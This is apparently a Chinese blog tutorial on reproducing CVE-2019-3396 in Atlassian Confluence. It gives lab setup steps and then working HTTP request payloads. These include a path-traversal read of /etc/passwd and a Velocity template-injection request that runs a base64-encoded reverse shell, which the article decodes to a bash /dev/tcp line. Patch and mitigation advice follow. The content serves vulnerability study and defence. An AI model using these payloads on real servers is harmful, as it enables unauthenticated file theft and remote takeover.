Atlassian Confluence路径穿越与命令执行漏洞CVE-2019-3396怎么复现

发布时间:2021-12-28 17:54:05 作者:柒染
来源:亿速云 阅读:237
# Atlassian Confluence路径穿越与命令执行漏洞CVE-2019-3396复现分析

## 漏洞概述

CVE-2019-3396是Atlassian Confluence Server和Data Center版本中存在的一个高危漏洞,该漏洞组合了**路径穿越**和**命令执行**两种攻击方式,允许未经认证的攻击者通过精心构造的HTTP请求实现服务器端文件读取和远程代码执行(RCE)。根据CVSS v3评分标准,该漏洞被评定为**9.8分(Critical)**。

### 受影响版本
- Confluence Server: 6.6.0 - 6.12.3
- Confluence Server: 6.13.0 - 6.13.3
- Confluence Server: 6.14.0 - 6.14.2

## 漏洞原理

### 1. Widget Connector组件路径穿越
漏洞核心存在于Confluence的Widget Connector宏功能中。攻击者通过构造特殊的`file://`协议请求,利用服务端对用户输入校验不足的缺陷,实现任意文件读取(Path Traversal)。

### 2. Velocity模板注入
结合Confluence对Velocity模板引擎的使用缺陷,攻击者可通过注入恶意模板代码,最终实现服务器命令执行。

## 环境搭建

### 实验环境要求
- 虚拟机:VMware Workstation 16+
- 操作系统:Ubuntu 20.04 LTS
- 目标软件:Confluence 6.12.2(官方已下架,需从第三方获取)
- Java环境:JDK 8u201

```bash
# 下载特定版本Confluence
wget https://archive.org/download/confluence-6.12.2/atlassian-confluence-6.12.2-x64.bin

# 安装步骤
chmod +x atlassian-confluence-6.12.2-x64.bin
sudo ./atlassian-confluence-6.12.2-x64.bin

漏洞复现步骤

阶段一:信息收集

使用Nmap扫描目标服务端口:

nmap -sV -p 8090 192.168.1.100

阶段二:文件读取验证

构造恶意请求读取/etc/passwd文件:

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target:8090
Content-Type: application/json

{
    "contentId": "1",
    "macro": {
        "name": "widget",
        "params": {
            "url": "file:///etc/passwd",
            "width": "1000",
            "height": "1000",
            "_template": "xxx"
        },
        "body": ""
    }
}

预期响应应包含系统用户信息:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

阶段三:命令执行验证

通过Velocity模板注入实现RCE:

  1. 首先获取Web根目录路径:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target:8090
Content-Type: application/json

{
    "contentId":"1",
    "macro":{
        "name":"widget",
        "params":{
            "url":"file:///opt/atlassian/confluence/confluence/WEB-INF/web.xml",
            "width":"1000",
            "height":"1000",
            "_template":"xxx"
        },
        "body":""
    }
}
  1. 构造反弹Shell(需提前启动nc监听):
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target:8090
Content-Type: application/json

{
    "contentId":"1",
    "macro":{
        "name":"widget",
        "params":{
            "url":"http://attacker.com",
            "width":"1000",
            "height":"1000",
            "_template":"../web.xml",
            "userName":"#set($e='exp')$e.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}')"
        },
        "body":""
    }
}

漏洞修复方案

官方补丁

Atlassian已发布修复版本: - 6.6.16+ - 6.12.4+ - 6.13.4+ - 6.14.3+

升级命令示例:

sudo /opt/atlassian/confluence/bin/stop-confluence.sh
wget https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.15.0-x64.bin
sudo ./atlassian-confluence-6.15.0-x64.bin

临时缓解措施

  1. 禁用Widget Connector宏:

    UPDATE BANDANA SET BANDANAVALUE = 'false' 
    WHERE BANDANACONTEXT = '_GLOBAL' 
    AND BANDANAKEY = 'confluence.macro.widget.enabled';
    
  2. 网络层防护:

    location ~ ^/rest/ {
       deny all;
       return 403;
    }
    

技术深度分析

漏洞调用链

  1. WidgetMacro.java未过滤file://协议
  2. DefaultVelocityManager.java未校验模板路径
  3. VelocityServlet.java执行模板渲染时未做安全限制

攻击载荷解码

Base64编码的反弹Shell解码后:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

法律与道德声明

  1. 本实验仅限授权环境测试
  2. 禁止用于真实生产环境
  3. 漏洞披露遵循《网络安全法》规定
  4. 建议通过官方漏洞报告渠道提交发现

参考资源

”`

注:实际复现时请确保: 1. 在隔离环境操作 2. 已获得目标系统所有权 3. 遵守当地网络安全法律法规

推荐阅读:
  1. Confluence 文件读取漏洞CVE-2019-3394该如何复现
  2. 怎么实现Confluence路径穿越漏洞的分析及复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

上一篇:怎么浅谈Apache Struts2 RCE漏洞CVE-2020-17530

下一篇:如何使用Excel调用ABAP系统的函数

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》